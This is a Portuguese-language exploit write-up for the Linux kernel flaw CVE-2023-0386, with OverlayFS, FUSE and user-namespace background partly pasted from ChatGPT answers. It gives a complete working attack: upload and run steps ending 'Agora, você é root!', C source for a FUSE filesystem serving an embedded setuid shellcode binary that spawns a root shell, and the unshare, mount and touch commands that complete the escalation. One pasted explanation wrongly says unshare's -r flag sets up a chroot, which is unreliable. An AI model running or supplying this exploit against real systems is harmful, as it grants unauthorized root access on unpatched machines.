
Exp e análise muito simples do CVE-2023-0386. Use c e sh.
Uso do Exp:
Primeiro: Envie fuse.c e exp.sh para o diretório /tmp.
Você pode usar scp ou python3 -m http.server para enviar o arquivo ao alvo.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
ou
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
E depois:
cd /tmp
/bin/bash exp.sh
Agora, você é root!

A seguir está uma análise detalhada da CVE-2023-0386.
Também passei o dia estudando essa vulnerabilidade ontem. Em resumo, quando o OverlayFS copia um arquivo da camada inferior para a camada superior, ele não verifica se o usuário no namespace da camada inferior está mapeado para o namespace de usuário atual, o que permite configurar o suid para escalonamento de privilégios.
Isso parece bem abstrato. Para entender essa questão, primeiro precisamos saber alguns pontos:
ChatGPT: Apresente detalhadamente o OverlayFS no Linux.
OverlayFS, também conhecido como sistema de arquivos Overlay, é um sistema de arquivos union no kernel Linux que permite sobrepor vários sistemas de arquivos diferentes, formando uma visão única e unificada. Ele foi oficialmente aceito no kernel na versão 3.18.
O OverlayFS tem três componentes principais: lower filesystem, upper filesystem e merged filesystem. A função de cada um é a seguinte:
Lower filesystem (sistema de arquivos inferior): Esta é a camada base, geralmente somente leitura. Todos os arquivos e diretórios são inicialmente obtidos desta camada.
Upper filesystem (sistema de arquivos superior): Esta é a camada superior, geralmente gravável. Quando realizamos operações de escrita no sistema de arquivos, todas as alterações são salvas nesta camada. Se um arquivo existe no lower filesystem e queremos modificá-lo, uma cópia desse arquivo é criada no upper filesystem e então modificada. Esse processo é chamado de "copy-up".
Merged filesystem (sistema de arquivos mesclado): Esta é a visão final do OverlayFS, que combina o lower e o upper filesystem. Quando realizamos uma operação de leitura, o OverlayFS primeiro procura o arquivo no upper filesystem; se não encontrar, procura no lower filesystem.
A visão lógica dessa estrutura é a seguinte:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
Uma aplicação importante do OverlayFS está em aplicações conteinerizadas, especialmente no Docker. No Docker, cada camada de imagem é somente leitura e pode ser usada como lower filesystem para outros contêineres. Quando iniciamos um novo contêiner, o Docker cria um novo upper filesystem vazio para ele. Assim, todas as alterações feitas no contêiner (por exemplo, instalar novos softwares) afetam apenas o upper filesystem, sem impactar as camadas de imagem compartilhadas.
Além disso, como o OverlayFS permite montar vários lower filesystems sob uma mesma camada superior, também podemos criar sistemas de arquivos com várias camadas, o que é amplamente utilizado nas camadas de imagem do Docker.
Em resumo, os arquivos da camada inferior são somente leitura, os da camada superior são leitura/escrita, e a camada mesclada combina os arquivos das duas camadas, exibindo uma visão unificada. Quando modificamos, na camada mesclada, um arquivo que existe na camada inferior mas não na superior, o arquivo da camada inferior é copiado intacto para a camada superior para modificação. Esse também é o ponto de disparo da vulnerabilidade.
GPT: Você é um especialista em kernel Linux; agora explique detalhadamente o que é FUSE.
FUSE (Filesystem in Userspace) é um mecanismo para criar sistemas de arquivos no espaço do usuário. É uma interface fornecida pelo kernel Linux que permite aos usuários desenvolver e executar seus próprios sistemas de arquivos sem modificar o código do kernel.
O principal objetivo do FUSE é simplificar o desenvolvimento e o uso de novos sistemas de arquivos. Com o FUSE, você pode criar sistemas de arquivos personalizados sem conhecer muitos detalhes das APIs do kernel. Isso é muito útil em cenários como depuração, prototipagem rápida, pesquisa acadêmica e implementação de sistemas de arquivos muito especiais (como sistemas de arquivos com criptografia transparente ou sistemas de arquivos de rede).
No FUSE, a maior parte da lógica do sistema de arquivos é executada no espaço do usuário. Isso torna o desenvolvimento mais fácil porque o espaço do usuário oferece um ambiente de desenvolvimento mais amigável: você pode usar qualquer linguagem de programação que preferir, tem mais bibliotecas disponíveis, o tratamento de erros é mais simples, etc. Por outro lado, isso também significa que os sistemas de arquivos FUSE geralmente são mais lentos que os do espaço do kernel, pois precisam alternar frequentemente o contexto entre o espaço do usuário e o espaço do kernel.
Um sistema de arquivos FUSE normalmente é composto por duas partes:
Ao desenvolver um sistema de arquivos FUSE, você precisa implementar uma série de funções de retorno de chamada (callbacks) que correspondem a várias operações do sistema de arquivos, como abrir arquivos, ler arquivos, gravar arquivos, etc. Quando essas operações ocorrem, o módulo FUSE no kernel chama o callback correspondente e retorna o resultado ao chamador.
Em suma, o FUSE fornece uma estrutura poderosa para implementar sistemas de arquivos no espaço do usuário, simplificando o desenvolvimento e permitindo que o sistema de arquivos seja estendido e modificado de forma modular.
Na verdade, o FUSE permite que o usuário personalize um sistema de arquivos e os arquivos dentro dele.
Precisamos usar a linguagem C para escrever o código relacionado ao FUSE.
Você é um especialista em kernel Linux; o que é namespace de usuário?
No Linux, "namespace" é um recurso do kernel que pode ser usado para isolar a visão dos processos, fazendo com que cada processo veja apenas os recursos pertencentes ao mesmo namespace. Cada tipo de namespace corresponde a um tipo específico de recurso. Por exemplo, o namespace PID (Process ID) é usado para isolar IDs de processos, o namespace Net é usado para isolar interfaces de rede e a pilha de rede, o namespace Mount é usado para isolar pontos de montagem do sistema de arquivos, etc.
O namespace de usuário (User Namespace) é um tipo de namespace do Linux, usado principalmente para isolar IDs de usuários e grupos. Cada namespace de usuário tem seu próprio conjunto de IDs de usuários e grupos. Por exemplo, um processo pode ser executado como root (UID 0) no namespace de usuário A, mas no namespace de usuário B pode ser apenas um usuário comum.
A vantagem disso é que, mesmo que um processo tenha privilégios de root dentro do seu namespace de usuário, ele não pode afetar os recursos de outros namespaces de usuário, pois, em outros namespaces, ele pode ser apenas um usuário comum. Isso aumenta muito a segurança do sistema, de modo que, mesmo que um contêiner (que na verdade é um conjunto de processos executando em seu próprio conjunto de namespaces) seja atacado, o atacante não pode afetar o sistema hospedeiro ou outros contêineres.
O namespace de usuário é uma das tecnologias centrais dos contêineres Linux (como Docker, LXC, etc.). Através do uso de namespaces de usuário e outros tipos de namespaces, os contêineres podem fornecer isolamento semelhante ao de máquinas virtuais sem precisar de virtualização.
Em resumo, o namespace de usuário é um mecanismo no Linux para isolar IDs de usuários e grupos, e desempenha um papel importante no aumento da segurança de sistemas e contêineres.
E o que é mapeamento de namespace de usuário?
No namespace de usuário do Linux, temos um conceito muito importante: o mapeamento de namespace de usuário. Esse mapeamento define como converter IDs de usuário e grupo entre diferentes namespaces de usuário. Ou seja, um processo que parece ser root dentro de um namespace de usuário pode ser apenas um usuário comum não privilegiado no host ou em outro namespace.
Esse mecanismo de mapeamento pode ser definido modificando os arquivos /proc/[pid]/uid_map e /proc/[pid]/gid_map, onde [pid] é o PID do processo. Nesses arquivos, cada linha é um item de mapeamento, composto por três campos: o ID dentro do namespace, o ID fora do namespace e o intervalo de IDs. Por exemplo, "0 1000 1" significa que o ID 0 dentro do namespace é mapeado para o ID 1000 fora do namespace.
Por exemplo, um processo executando no namespace de usuário A pode ter um ID de usuário 0, parecendo ser root. Mas, se mapearmos 0 para 1000 no mapeamento do namespace de usuário, para o namespace do host e outros namespaces de usuário, o ID de usuário desse processo será 1000, ou seja, um usuário comum.
Dessa forma, o mapeamento de namespace de usuário fornece um método para que um processo tenha privilégios completos dentro do seu namespace de usuário (por exemplo, root), mas continue sendo apenas um usuário comum em outros namespaces, o que é muito importante para isolamento e segurança.
Porque os arquivos no sistema de arquivos da camada inferior são altamente controláveis pelo usuário (gerados pelo FUSE), permitindo personalizar qualquer arquivo, como um arquivo suid (mas, por segurança, o FUSE tem algumas limitações padrão. Uma delas é que o sistema de arquivos montado por padrão é nosuid, ou seja, os bits setuid e setgid no sistema de arquivos FUSE são ignorados, embora sejam ignorados pelo FUSE, o bit suid ainda existe). No entanto, podemos usar as características do OverlayFS para copiar um arquivo suid de um sistema nosuid da camada inferior para a camada superior, onde a camada superior é um sistema de arquivos normal, fazendo com que um arquivo suid ilegítimo obtenha privilégios suid reais, alcançando assim o escalonamento de privilégios.
Os preparativos exigem a criação de várias pastas para construir um overlayFS.
cd /tmp
mkdir fuse upper overlay workdir
O diretório fuse é onde o sistema de arquivos personalizado pelo usuário está localizado e também serve como camada inferior do overlayFS.
upper serve como camada superior do overlayFS.
overlay serve como camada mesclada do overlayFS.
workdir é o diretório de trabalho do overlayFS.
O código fuse abaixo foi modificado por mim com base no código do mestre c. https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
Adicionei uma função ioctl_callback à versão dele, para ser usada posteriormente quando usarmos touch no arquivo; caso contrário, ocorreria um erro de função não implementada.
Transfira o arquivo para a máquina alvo via scp:
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

Compile:
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse fuse fuse.c overlay upper workdir
Crie o sistema de arquivos fuse:
./efuse fuse
Perceba que um arquivo hello de propriedade do root e com suid apareceu na pasta fuse:

Como atualmente o sistema fuse é nosuid, mesmo se executarmos, não conseguimos escalonar privilégios.
unshare -Urm
unshare é um comando do Linux usado para "descompartilhar" determinados tipos de namespace do processo shell atual. Isso possibilita criar um ambiente isolado, semelhante à virtualização, mas sem exigir um sistema operacional completo.
Os significados dos parâmetros -Urm após o comando unshare são:
-U indica descompartilhar o namespace de usuário. Isso faz com que o novo processo shell seja executado em seu próprio namespace de usuário, com todos os mapeamentos de IDs de usuários e grupos exclusivos. Isso significa que, por exemplo, embora o novo processo shell possa achar que está executando como root, externamente ele pode estar executando como um usuário diferente, sem privilégios.-r indica estabelecer um novo diretório raiz (chroot), para que o novo processo shell não possa acessar outras partes do sistema de arquivos real. Isso é frequentemente usado para fornecer um ambiente isolado, por exemplo, ao compilar software, evitando que ele polua outras partes do sistema.-m indica descompartilhar o namespace de mount. Isso permite que o novo processo shell altere pontos de montagem sem que essas alterações afetem outros processos. Por exemplo, ele pode montar novos sistemas de arquivos ou alterar atributos de pontos de montagem existentes sem afetar outras partes do sistema.De modo geral, o comando unshare -Urm cria um novo ambiente isolado que possui seus próprios usuários, grupos, pontos de montagem e diretório raiz, totalmente isolado do resto do sistema.
Use o sistema de arquivos fuse criado anteriormente como camada inferior, o diretório upper como camada superior e o diretório overlay como camada mesclada:
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay
Nesse momento, o arquivo hello já apareceu na camada mesclada:

Aqui precisamos modificar o arquivo hello para conseguir copiá-lo para o diretório upper, o que será feito com o comando touch.
Se você usar touch em um arquivo já existente, o timestamp desse arquivo é modificado; como o timestamp é alterado como metadado do arquivo, isso naturalmente dispara a cópia (copy-up). (Se não tivéssemos adicionado o callback ioctl_callback anteriormente, não seria possível executar touch.)
O comando touch é usado principalmente para modificar o tempo de acesso e o tempo de modificação de um arquivo, ou, se o arquivo não existir, criar um novo arquivo vazio. Na maioria dos casos, o comando touch não chama diretamente a função ioctl. Ele normalmente chama funções de sistema como open, close, utimes ou utimensat.
ioctl é uma chamada de sistema muito genérica, usada para operações específicas de dispositivos ou outras operações que não podem ser representadas por chamadas de sistema padrão. Por exemplo, pode ser usada para alterar configurações do terminal ou consultar o estado de dispositivos de rede. No entanto, o comando touch interage principalmente com o sistema de arquivos, não com dispositivos, portanto normalmente não precisa usar ioctl.
Mas isso não significa que ioctl nunca será chamado, pois sistemas de arquivos ou drivers de dispositivos podem fornecer operações especiais de ioctl para funcionalidades específicas. Por exemplo, alguns sistemas de arquivos podem fornecer uma operação ioctl específica para modificar timestamps de arquivos. No entanto, esse caso é muito raro e não faz parte do comportamento padrão do comando touch.
Pode-se ver claramente que, ao usar touch no arquivo, obtivemos hello no diretório upper.

Em seguida, saímos do namespace e executamos upper/hello para escalonar privilégios com sucesso.
